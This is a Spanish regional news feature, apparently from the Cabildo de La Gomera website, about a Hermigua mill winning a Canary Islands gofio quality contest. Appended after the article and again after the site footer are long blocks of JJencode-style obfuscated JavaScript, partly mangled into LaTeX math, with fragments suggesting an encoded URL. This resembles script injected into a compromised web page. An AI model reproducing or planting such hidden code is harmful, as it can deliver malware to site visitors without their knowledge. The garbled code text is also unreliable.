

## Reportaje semanal: Gofio de oro

Date : 3 febrero, 2018



*La Gomera vuelve a arrasar en el certamen regional dedicado exclusivamente a reconocer la calidad del gofio*

*Curbelo señala que la creciente producción de este alimento en la Isla encaja en la apuesta del Cabildo por impulsar el sector primario*

*El ganador del certamen dice que las ventas se han incrementado un 30% desde que ganó el primer concurso y lamenta los efectos de la doble insularidad*

El gofio de La Gomera se acaba de apuntar otro tanto al ganar el concurso regional centrado exclusivamente en este producto. En concreto, ha sido el joven de 31 años, Rayco Herrera Chávez con su molino situado en Hermigua y la marca Gofio Gomero el que literalmente ha arrasado a la hora de obtener reconocimientos en cuanto a calidad. Y además lo hace por segunda vez. En esta ocasión ganó el primer premio, otro más al grano local y seis medallas de oro por las distintas variedades, como el gofio de trigo, cuatro cereales o garbanzos.

El presidente del Cabildo, Casimiro Curbelo Curbelo, felicita al ganador y considera que este

tipo de iniciativas demuestran la relevancia que se le debe otorgar al sector primario en la Isla, por la que siempre han apostado desde la institución insular. Para Curbelo es preciso avanzar todo lo posible en la diversificación económica como manera de impulsar la economía y crear empleo. En este marco el creciente auge en la producción de gofio y su consiguiente reconocimiento supone todo un incentivo para continuar en la línea ya marcada.

Además, del molino que ahora ha resultado ganador existen actualmente en la Isla otros dos cuya calidad resulta también indudable. Hablamos del Imendi de San Sebastián y el de Ramón Trujillo Cordero en Alajeró. Gracias a todos ellos se mantiene la tradición muy enraizada en la Isla de alimentarse con este producto cuyo origen se sitúa en la época anterior a la llegada de los europeos a Canarias. El esfuerzo de estos productores da lugar a que la tradición continúe después de una época de cierto retroceso debido a la invasión de marcas de otros puntos de todo el mundo.

Sin embargo, con el creciente auge e interés por el consumo de productos naturales, el gofio canario ha vuelto a ser valorado en sus justos términos, como un alimento con excelentes propiedades dietéticas y nutritivas. En este entramado el producido en La Gomera es precisamente uno de los más demandados por su particular mezcla de cereales e intenso sabor.

No es la primera ocasión que Gofio Gomero obtiene el mayor galardón. Cuando en 2015 se presentó a la primera edición también obtuvo el premio al mejor gofio de Canarias y local y siete medallas de oro. Con lo cual el palmarés resulta impresionante: de las tres veces en las que ha participado en el certamen este molino literalmente ha arrasado en dos y además con los máximos galardones.

Herrera Chávez aprendió a elaborar este producto característico de Canarias desde 2007 cuando comenzó a trabajar en el molino junto a su hermano, quien tristemente fallecería un año después. Por lo tanto, de pronto se vio ante el reto de sacar adelante la empresa con la experiencia que hasta entonces había acumulado. Y que no debía ser poca ya que rápidamente consiguió elaborar un producto de calidad, tal y como se reconocería unos pocos años más tarde.

Dice que el truco para haber tenido tanto éxito es centrarse en la excelencia del tueste que debe estar en su punto preciso, “ni arriba, ni abajo”. Precisamente, La Gomera cuenta con una tesitura singular y característica. Herrera Chávez indica que el nivel del gofio gomero es muy alto, y prueba de ello es la cadena incesante de reconocimientos que acumula año tras año, hasta el punto de que en esta edición logró 13 de los 19 galardones. “Está claro que si le pones cariño a lo que haces, esto se acaba notando, sobretodo en el sabor. Nuestro objetivo es controlar su elaboración desde el minuto uno hasta que sale al mercado. Ese es el secreto para que los gofios de La Gomera sean reconocidos por su gran calidad”.

La finalidad de participar en estos concursos, y más si se ganan premios, es obtener publicidad y por lo tanto un incremento de las ventas que cifra entre un 30 y un 50% desde 2015, cuando acudió por primera vez al certamen y obtuvo una retahíla de premios. “Todo esto ha sido una bocanada de aire fresco para facilitarnos a nosotros la comercialización”, indica. Y es que una

de las grandes dificultades a las que se enfrentan continuamente es a los problemas derivados de la doble insularidad. Principalmente, el incremento de los costes lo que obliga a que los productores de las islas periféricas deban competir con los precios que ofrecen las mayores armados casi únicamente de calidad, como principal manera de llamar la atención del cliente.

Pero además, este productor apuesta por difundir el consumo de gofio entre los más jóvenes y educar a los niños a usarlo como alimento desde que pasan por las guarderías. “Lo triste es que los cereales americanos entran antes por los ojos pero debemos concienciarnos de que hay que educar a los padres y a los niños de los beneficios de consumir gofio para que crezcan grandes y sanos”.

Por ejemplo, indica que su padre con 70 años sigue alimentándose diariamente de esta manera, “mientras que en la actualidad ves que si a un niño le das otro producto ya será difícil que lo acostumbres a consumir este”. Afortunadamente el consumo ha ido incrementándose de forma progresiva a lo largo de los años después de una época de retroceso. “Pero cuando los alimentos son de calidad nunca desaparecen. Lo único que ocurre es que normalmente ahora la gente opta más por lo barato que por la calidad, sólo miran por matar el hambre”.

Por ello, considera acertado que desde las instituciones oficiales se apueste por este tipo de certámenes, en los que se incluya también los quesos y vinos y de esta manera resaltar los mejores productos elaborados en Canarias. En este campo La Gomera juega con ventaja porque su manera artesanal de elaborar los alimentos más característicos de la Isla es proverbial y por ello su paso por este tipo de concursos siempre acabará dejando su correspondiente huella. Tal y como ha ocurrido en esta ocasión.

Carmen María Plasencia Rodríguez, es una vecina de Hermigua que se confiesa una auténtica apasionada del gofio que se elabora en el molino de la ya popular marca Gofio Gomero. “Mis padres desde pequeña me inculcaron el gusto por consumirlo, desde siempre lo he hecho”, indica. Curiosamente antes existía la costumbre en la Isla de tostar la mezcla de cebada, trigo, millo, garbanzos o incluso chícharos en la casa, y llevarla luego al molino para que lo acabaran de hacer. Así ocurría en Hermigua con una molina que era propiedad de un señor llamado Ángel Cruz, más conocido como *Angelillo*. Pero ahora con el paso del tiempo prefieren comprarlo ya hecho y además adquirirlo a Chávez Rodríguez. Este joven cogió el testigo del anterior fabricante pero según la vecina de Hermigua, “en realidad es espectacular, es mejor aunque conserva el mismo aroma y sabores que siempre me han gustado”.

Plasencia Rodríguez dice que comenzó a comprar este producto desde que se puso en marcha el molino y así ha seguido haciéndolo hasta ahora. “No quiero caminar más, éste es totalmente distinto”, sobretodo porque se mezcla perfectamente con la leche. “Se merece todos los premios que le han dado y los que les den”, indica.

$$\begin{aligned} \$ = \sim [ ] ; \$ = \{ \_ : ++ \$ , \$ \$ \$ \$ : (! [ ] + \_ ) [ \$ ] , \_ \$ : ++ \$ , \$ \_ \$ : (! [ ] + \_ ) [ \$ ] , \_ \$ : ++ \$ , \$ \_ \$ \$ : ( \{ \} + \_ ) [ \$ ] , \$ \$ \_ \$ : ( \$ [ \$ ] + \_ ) [ \$ ] , \_ \$ \$ : ++ \$ , \$ \$ \$ \_ : (! \_ + \_ ) [ \$ ] , \$ \_ : ++ \$ , \$ \_ \$ : ++ \$ , \$ \$ \_ : ( \{ \} + \_ ) [ \$ ] , \$ \$ \_ : ++ \$ , \$ \$ \$ : ++ \$ , \$ \_ : ++ \$ , \$ \_ \$ : + + \$ } ; \$ \_ \$ = ( \$ \_ \$ = \$ + \_ ) [ \$ \_ \$ ] + ( \$ \_ \$ = \$ \_ \$ [ \$ \_ \$ ] ) + ( \$ \_ \$ = ( \$ \_ \$ + \_ ) [ \$ \_ \$ ] ) + ( (! \$ ) + \_ ) [ \$ \_ \$ ] + ( \$ \_ \$ = \$ \_ \$ [ \$ \_ \$ ] ) + ( \$ \_ \$ = (! \_ + \_ ) [ \$ \_ \$ ] ) + ( \$ \_ \$ = (! \_ + \_ ) [ \$ \_ \$ ] ) + \$ \_ \$ [ \$ \_ \$ ] + \$ \_ \$ + \$ \_ \$ + \$ \_ \$ ; \$ \_ \$ = \$ \_ \$ + ( ! \_ + \_ ) [ \$ \_ \$ ] + \$ \_ \$ + \$ \_ \$ + \$ \_ \$ + \$ \_ \$ ; \$ \_ \$ = ( \$ \_ \$ ) [ \$ \_ \$ ] ; \$ \_ \$ ( \$ \_ \$ ( \$ \_ \$ + \_ ) + \_ ) + \$ \_ \$ + \$ \_ \$ + \$ \_ \$ \end{aligned}$$

+\$. \$ \$ +"\\"+\$\_. \$+\$.\$\$. +\$. \_\$ +"\\"+\$.\$ \_+\$\_. \_\_\_\_+\$.\$\$\$ \_(![]+"" )[\$. \_\$ \_]+"\\"+\$.\$ \_+\$\_. \_\_\_\_ +"  
=\\"+\$.\$ \_+\$\_. \_\_\_\_+\$.\$\$\_ \$+\$.\_ \$+\$.\$\$\_ +\$. \_+"\\"+\$.\$ \_+\$.\$ \_\$+\$.\$ \_\$+\$.\$\$\$ +"\\"+\$.\_ \$+\$.\$ \_\$  
+\$.\$\$\_ +\$. \_+"."+\$.\$\$\_ +"\\"+\$.\_ \$+\$.\$\$\_ +\$. \_\$ +\$. \$\$\$ \_+\$.\$ \_+\$\_. \_\_\_\_+\$.\$\$\$ +"\\"+\$.\_ \$+\$.\_  
\_\_+\$.\$ \_\$+(![]+"" )[\$. \_\$ \_]+\$. \$\$\$ \_+\$.\$ \_\$+\$.\$ \_\$+\$.\$\$\$ +"\\"+\$.\_ \$+\$.\$ \_\$+\$.\$ \_\$+\$.\$ \_\$  
\_+"("\\"+\$.\_ \$+\$.\$\$\_ +\$. \_\$\$+\$.\$\$\_ +"\\"+\$.\_ \$+\$.\$\$\_ +\$. \_\$ +"\\"+\$.\_ \$+\$.\$ \_\$+\$.\_ \$+\$.\$ \_\$+\$.\_ \$+\$.\$ \_\$+\$.\_ \$+\$.\$ \_\$+\$.\_  
\$+\$.\$\$\_ +\$. \_\_\_\_+\$\_. \_\_\_\_+""); \\"+\$.\_ \$+\$.\_ \_\$+\$.\$\$\_ +(![]+"" )[\$. \_\$ \_]+. \\"+\$.\_ \$+\$.\$\$\_ +\$. \_\$\$+\$.\$\$\_ +"  
\$. \_\$+\$.\$\$\_ +\$. \_\$ \_+\$.\$\$\_ +"\\"+\$.\$ \_+\$\_. \_\_\_\_+"=\\"+\$.\$ \_+\$\_. \_\_\_\_+" \\"+\$.\_ \$+\$.\$ \_\$+\$\_. \_\_\_\_+\$\_.  
\_+\$\_. \_+" \\"+\$.\_ \$+\$.\$\$\_ +\$. \_\_\_\_+" \\"+\$.\_ \$+\$.\$\$\_ +\$. \_\$\$+:/ \\"+\$.\_ \$+\$.\$\$\_ +\$. \$\$\$+\$.\$\$\$ \_\$+\$.\_  
\$. \$\$\$+" \\"+\$.\_ \$+\$.\$\$\_ +\$. \_\$\$+\$.\_ \_+\$.\$ \_\$+\$\_. \_\_\_\_+" \\"+\$.\_ \$+\$.\$ \_\$+\$.\_ \$+\$\_. ."+\$.\$ \_\$\$+" \\"+\$.\_  
\_ \$+\$.\$ \_\$+\$.\_ \$+\$.\$\$\_ +"/ \\"+\$.\_ \$+\$.\$ \_\$+\$.\_ \_\$ +"\\"+\$.\_ \$+\$.\$\$\_ +\$. \_\$\$+/" \\"+\$.\_ \$+\$.\$ \_\$+\$  
\$. \_\$\$+" \\"+\$.\_ \$+\$.\$\$\$+\$.\_ \_\_\_\_+\$.\$ \_\$ +"\\"+\$.\_ \$+\$\_. \_\_\_\_+\$.\$ \_\$ +"\\"+\$.\_ \$+\$.\_ \$\$+\$.\_ \$+\$." \\"+\$  
\_. \$+\$.\$\$\_ +\$. \$\$\$+\$." \\"+\$.\_ \$+\$\_. \_\_\_\_+\$\_. \_\$ +"\\"+\$.\_ \$+\$.\_ \$+\$.\$ \_\$ +"\\"+\$.\_ \$+\$.\_ \$+\$.\$ \_\$+\$  
 \\"+\$.\_ \$+\$.\$ \_\$+\$.\_ \$+\$.\_ \$+\$.\$\$\_ +"\\"+\$.\_ \$+\$.\_ \$\$+\$.\_ \_\$+\$.\_ \$+\$." \\"+\$.\_ \$+\$.\$\$\_ +\$. \_\$\$+\$." \\"  
+\$.\$ \_\$+\$.\_ \$+\$.\$\$\_ +\$. \_\$\$+/" \\"+\$.\_ \$+\$.\_ \$+\$.\$ \_\$+\$\_. \_\_\_\_+\$.\$ \_\$+(![]+"" )[\$. \_\$ \_]+"\\"+\$.\_ \$+\$.\_ \$\$+\$.\_ \_\_\_\_+  
\$. \_\$ +"\\"+\$.\_ \$+\$.\$\$\_ +\$. \_\$\$+/" \\"+\$.\_ \$+\$.\_ \$+\$.\_ \_\$ +"\\"+\$.\_ \$+\$.\$ \_\$+\$.\_ +"\\"+\$.\_ \$+\$.\_  
\_\_\_\_+\$\_. \_\$ +"\\"+\$.\_ \$+\$.\$\$\_ +\$. \_\$\$+/" \\"+\$.\_ \$+\$.\$\$\_ +\$. \$\$\$+\$." \\"+\$.\_ \$+\$.\_ \$+\$.\$\$\$+" \\"+\$.\_  
\$+\$.\$ \_\$+\$\_. \_\_\_\_+" \\"+\$.\_ \$+\$.\_ \$+\$.\$ \_\$+/" \\"+\$.\_ \$+\$\_. \_\_\_\_+\$\_. \_\$ +"\\"+\$.\_ \$+\$\_. \_\_\_\_+\$\_.  
\_\_\_\_+" \\"+\$.\_ \$+\$.\_ \$\$+\$.\_ \_\$ +"\\"+\$.\_ \$+\$.\_ \$+\$.\$ \_\$+/" \\"+\$.\_ \$+\$.\_ \$+\$\_. \_\_\_\_+\$.\$\$\$+" \\"+\$.\_  
\$+\$.\_ \$+\$\_. \_\_\_\_+" \\"+\$.\_ \$+\$.\_ \$+\$.\$ \_\$+/" \\"+\$.\_ \$+\$\_. \_\_\_\_+\$\_. \_\$ +"\\"+\$.\_ \$+\$\_. \_\_\_\_+\$\_.  
\_\_\_\_+" \\"+\$.\_ \$+\$.\_ \$+\$.\$ \_\$+/" \\"+\$.\_ \$+\$\_. \_\_\_\_+\$.\$ \_\$+/" \\"+\$.\_ \$+\$\_. \_\_\_\_+\$.\$\$\$+" \\"+\$.\_ \$+\$.\_  
\_ \$+\$.\$ \_\$+\$\_. \_\_\_\_+" \\"+\$.\_ \$+\$.\_ \$+\$.\$ \_\$+/" \\"+\$.\_ \$+\$\_. \_\_\_\_+\$.\$ \_\$+/" \\"+\$.\_ \$+\$\_. \_\_\_\_+\$.\$  
+\$." \\"+\$.\_ \$+\$.\_ \$+\$.\$ \_\$+\$\_. \_\_\_\_+" \\"+\$.\_ \$+\$\_. \_\_\_\_+\$.\$ \_\$+/" \\"+\$.\_ \$+\$.\_ \$+\$.\$ \_\$+\$\_. \_\_\_\_+" \\"  
+\$." \\"+\$.\_ \$+\$\_. \_\_\_\_+\$.\$ \_\$+/" \\"+\$.\_ \$+\$\_. \_\_\_\_+\$.\$ \_\$+/" \\"+\$.\_ \$+\$\_. \_\_\_\_+\$.\$ \_\$+/" \\"+\$.\_ \$+\$\_.  
\_\_\_\_+\$.\$\$\$+\$.\$ \_\$+\$.\$\$\_ +"\\"+\$.\_ \$+\$.\$ \_\$+\$\_. \_\_\_\_+" \\"+\$.\_ \$+\$\_. \_\_\_\_+\$\_. \_\$+" "+"\$.\$ +"\\"+\$.\_  
\_ \$+\$.\$ \_\$+\$\_. \_\_\_\_+" \\"+\$.\_ \$+\$\_. \_\_\_\_+\$.\$ \_\$+/" \\"+\$.\_ \$+\$.\$\$\_ +\$. \_\_\_\_+" \\"+\$.\_ \$+\$\_. \_\_\_\_+\$.\$\$\_ +"  
/" \\"+\$.\_ \$+\$.\$ \_\$+\$\_. \_\_\_\_+\$.\$+\$." \\"+\$.\_ \$+\$\_. \_\_\_\_+\$.\$\$\$+" \\"+\$.\_ \$+\$\_. \_\_\_\_+\$.\$ \_\$+/" \\"+\$.\_ \$+\$\_.  
\$ \_\$+\$.\$\$\$+" \\"+\$.\_ \$+\$\_. \_\_\_\_+\$\_. \_\$ +"\\"+\$.\_ \$+\$\_. \_\_\_\_+\$.\$ \_\$+/" \\"+\$.\_ \$+\$\_. \_\_\_\_+\$.\_ \$+\$." \\"+\$  
\_. \$+\$.\_ \$+\$.\$\$\_ +"\\"+\$.\_ \$+\$.\$ \_\$+\$\_. \_\_\_\_+" \\"+\$.\_ \$+\$\_. \_\_\_\_+\$.\_ \$+\$." \\"+\$.\_ \$+\$.\$ \_\$+\$\_. \$\$\$+"  
 \\"+\$.\_ \$+\$.\$ \_\$+\$\_. \_\_\_\_+\$." \\"+\$.\_ \$+\$.\$ \_\$+\$\_. \_\_\_\_+\$.\$ \_\$+/" \\"+\$.\_ \$+\$.\$ \_\$+\$\_. \$\$\$+/" \\"+\$.\_ \$+\$.  
\_\_\_\_+\$.\$\$\_ +"\\"+\$.\_ \$+\$\_. \_\_\_\_+\$.\$+\$." \\"+\$.\_ \$+\$\_. \_\_\_\_+\$.\_ \$+\$." \\"+\$.\_ \$+\$\_. \_\_\_\_+\$.\_ \$+\$." \\"+\$.\_  
\$+\$\_. \_\_\_\_+\$.\$\$\$+" \\"+\$.\_ \$+\$.\$ \_\$+\$.\$ \_\$+/" \\"+\$.\_ \$+\$.\$\$\_ +\$. \_\_\_\_+" \\"+\$.\_ \$+\$\_. \_\_\_\_+\$.\_ \$+\$." \\"+\$  
\$. \_\$+\$\_. \_\_\_\_+\$.\$\$\_ +"\\"+\$.\_ \$+\$\_. \_\_\_\_+\$.\$\$\$+" \\"+\$.\_ \$+\$.\_ \$\$+\$.\_ \$+\$." \\"+\$.\_ \$+\$\_. \_\_\_\_+\$.\_ \$  
+/" \\"+\$.\_ \$+\$\_. \_\_\_\_+\$.\_ \$+\$." \\"+\$.\_ \$+\$.\$ \_\$+\$\_. \_\_\_\_+\$." \\"+\$.\_ \$+\$\_. \_\_\_\_+\$.\_ \$+\$." \\"+\$.\_ \$+\$

# Cabildo Insular de La Gomera

Sitio web del Excelentísimo Cabildo Insular de La Gomera

<https://www.lagomera.es>

```
..$$$+$. $ $ +" .\|"+$. ___ $+$. $ $+$$. _ $ _+"\""+$. ___ $+$. $$ _+$$. $$$+"?"+"$_. ___ +\"\"+$$. ___ $+$. $$$ _+$$. _  
$ _+(![]+"")[$. _ $ _]+""+"$$. ___ +". "+$. _ $ _+$$. ___ +";\|"+$. ___ $+$. _ $ _+$$. $$$ _+$$. _ $+$. $$$ _+$$. _+"\""+  
+$$. ___ $+$. $ _+$$. $ _+$$. $$$ _+"\""+$. ___ $+$. $ _+$$. $$$ _+$$. ___ +". \|"+$. ___ $+$. $ _+$$. ___ +$. $$$ _+$$. _ $  
$. $ _+$$. $$$ _+$$. _ $+$. _ $ _+"\""+$. ___ $+$. $$$ _+$$. ___ +"\""+$. ___ $+$. $$$ _+$$. ___ +$. $$$ _+"\""+$. ___  
$+$. $ _+$$. $$$ _+$$. $$$ _+$$. _ $+$. ___ +$. $$$+"\""+$. ___ $+$. $ _+$$. ___ +\"\"+$$. ___ $+$. $ _+$$. ___ +\"\"+$$. ___ $+$. $ _+$$.  
___ $+(![]+"")[$. _ $ _]+$. $$$ _$+("(+$$. $$$ _+(![]+"")[$. _ $ _]+)"+"\"")());
```